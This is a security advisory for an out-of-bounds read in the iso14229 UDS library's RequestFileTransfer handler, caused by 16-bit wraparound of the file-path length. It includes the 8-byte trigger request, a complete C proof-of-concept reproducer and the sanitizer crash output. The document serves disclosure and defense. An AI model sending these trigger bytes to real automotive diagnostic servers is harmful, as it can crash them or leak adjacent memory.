All vulnerabilities
GHSA-5hgv-5fqg-8vcr

iso14229: Out-of-bounds read in `RequestFileTransfer` (SID 0x38) via `uint16_t` wraparound of the file-path length

iso14229
CVSS
8.2High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in0.10.2Fixed versionGitHub
Published27 Sep 2026Updated 27 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

Handle_0x38_RequestFileTransfer in the UDS server computes the file-path field offset as a 16-bit value, uint16_t byte_idx = 4 + file_path_len, where file_path_len is taken directly from the request. For file_path_len ≥ 0xFFFC this addition wraps to a small number, bypassing the only length-bound check in the handler. The server then forwards filePath = &recv_buf[4] together with filePathLen of up to 65535 to the application's UDS_EVT_RequestFileTransfer callback, even though only a handful of bytes were actually received. A conforming callback that reads filePathLen bytes of filePath (e.g. to open/log the file name) reads far past the receive buffer.

This is the same bug class (CWE‑191 integer wraparound → CWE‑125 out‑of‑bounds read, manifesting through the service callback) as CVE‑2026‑54413, but in a different handler (0x38 RequestFileTransfer rather than 0x27 SecurityAccess) and is not covered by that advisory.

A second, lower-severity issue in the same handler (an off-by-one bound, > instead of >=) is described under *Related hardening* and is fixed by the same patch.

Details

Relevant code (src/server.c, equivalently amalgamated iso14229.c):

// src/server.c  Handle_0x38_RequestFileTransfer
1151  uint16_t file_path_len = (uint16_t)(((uint16_t)r->recv_buf[2] << 8) + (uint16_t)r->recv_buf[3]); // attacker-controlled, 0..65535
1156  uint16_t byte_idx = 4 + file_path_len;     // <-- 16-bit add: 4 + 0xFFFF == 0x10003 truncates to 0x0003
1158  if (byte_idx > r->recv_len) {              // <-- bypassed: the wrapped byte_idx (3) is < recv_len
1159      err = UDS_NRC_IncorrectMessageLengthOrInvalidFormat;
1160      goto done;
1161  }
...
1214  .filePathLen = file_path_len,              // 65535 (un-wrapped) handed to the callback
1215  .filePath    = file_path_len == 0 ? NULL : &r->recv_buf[4],
...
1221  err = EmitEvent(srv, UDS_EVT_RequestFileTransfer, &args);   // -> srv->fn(...)

Mechanism:

  1. file_path_len is fully attacker-controlled from request bytes 2–3.
  2. The bound at line 1158 is supposed to ensure the filePathLen-byte path (and the trailing fields) fit within recv_len. It checks the truncated byte_idx, so a request where file_path_len ∈ {0xFFFC..0xFFFF} makes byte_idx wrap to {0..3} and pass the check.
  3. The handler then builds args.filePathLen = file_path_len (the *un-truncated* 16-bit value, up to 65535) and args.filePath = &recv_buf[4], and invokes the user callback.
  4. The library itself does not dereference filePath; the out-of-bounds read occurs when a conforming UDS_EVT_RequestFileTransfer handler consumes filePathLen bytes — the documented contract, and exactly what the in-tree fuzz harness and any real file handler do.

mode_of_operation must be a value that yields a non-NULL filePath (AddFile 0x01, ReplaceFile 0x03, or ReadFile 0x04). The minimum request length (UDS_0X38_REQ_BASE_LEN = 5) is the only other precondition.

PoC

Trigger bytes (8-byte physical UDS request): 38 04 FF FF DE AD BE EF (SID 0x38, mode ReadFile 0x04, file_path_len = 0xFFFF, then ≥1 trailing byte so recv_len ≥ 5).

Standalone reproducer (public API + in-tree mock ISO-TP transport; the callback does the normal thing — reads the advertised path length):

// repro_0x38_wrap.c  — build & run:
//   clang -I. -DUDS_TP_ISOTP_MOCK -DUDS_CUSTOM_MILLIS=1 -fsanitize=address \
//         -fno-sanitize-recover=all -g -O1 iso14229.c repro_0x38_wrap.c -o /tmp/r && /tmp/r
#include "iso14229.h"
static uint32_t g_ms; uint32_t UDSMillis(void){ return g_ms; }
static volatile uint8_t sink;
static UDSErr_t fn(UDSServer_t*s,UDSEvent_t e,void*a){ (void)s;
    if(e==UDS_EVT_RequestFileTransfer){ UDSRequestFileTransferArgs_t*r=a;
        for(uint16_t i=0;i<r->filePathLen;i++) sink^=r->filePath[i]; }   // OOB read
    return UDS_PositiveResponse; }
int main(void){
    static ISOTPMockArgs_t sa={.sa_phys=0x7E0,.ta_phys=0x7E8,.sa_func=0x7DF,.ta_func=UDS_TP_NOOP_ADDR};
    static ISOTPMockArgs_t ta={.sa_phys=0x7E8,.ta_phys=0x7E0,.sa_func=UDS_TP_NOOP_ADDR,.ta_func=0x7DF};
    UDSServer_t srv; UDSServerInit(&srv); srv.fn=fn; srv.tp=ISOTPMockNew("server",&sa);
    UDSTp_t* tester=ISOTPMockNew("tester",&ta);
    uint8_t m[]={0x38,UDS_MOOP_RDFILE,0xFF,0xFF,0xDE,0xAD,0xBE,0xEF};   // file_path_len=0xFFFF
    UDSSDU_t info={.A_Mtype=UDS_A_MTYPE_DIAG,.A_TA_Type=UDS_A_TA_TYPE_PHYSICAL};
    UDSTpSend(tester,m,sizeof(m),&info);
    for(int i=0;i<8;i++){ g_ms+=10; UDSServerPoll(&srv); }
    return 0;
}

AddressSanitizer output (clang 18.1.8):

==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1 ...
    #0 consume repro_0x38_wrap.c   (callback reading filePath[i], filePathLen=65535)
    #2 EmitEvent iso14229.c:898
    #3 Handle_0x38_RequestFileTransfer iso14229.c:2093
    #4 evaluateServiceResponse iso14229.c:2374
    #5 UDSServerPoll iso14229.c:2526
0x... is located 0 bytes after 8336-byte region   (the whole UDSServer_t)

Impact (realistic)

  • The read can span up to ~64 KB beyond the receive buffer. On hosted targets with memory protection (e.g. a Linux/QNX DoIP gateway), hitting an unmapped page crashes the diagnostic server (denial of service). On bare-metal MCUs — the library's primary target — there is usually no MMU, so the access does not crash; instead it reads adjacent SRAM/flash/peripheral memory, which can be disclosed to the tester if the callback reflects the file path in a response, or otherwise causes the handler to act on out-of-bounds data.
  • The out-of-bounds read happens **in the integrator's UDS_EVT_RequestFileTransfer callback**, not inside the library. A defensive callback that bounds filePathLen itself before reading is not affected; however the library gives the callback no signal that the length is invalid, so the common/naïve implementation (open or log a filePathLen-byte path) is vulnerable. This is the same callback-mediated pattern accepted for CVE‑2026‑54413.
  • Reachability: a single, well-formed-looking 8-byte request; no priming, session, or prior state required at the library level. Note that many deployments gate RequestFileTransfer behind a programming session + SecurityAccess at the application layer; where that gating is enforced before the callback consumes the length, an attacker must be authenticated (raising attack complexity / privileges — see CVSS caveats).

Text from GitHub Advisory Database

Affected versions 1

  • iso14229<=0.9.0GitHub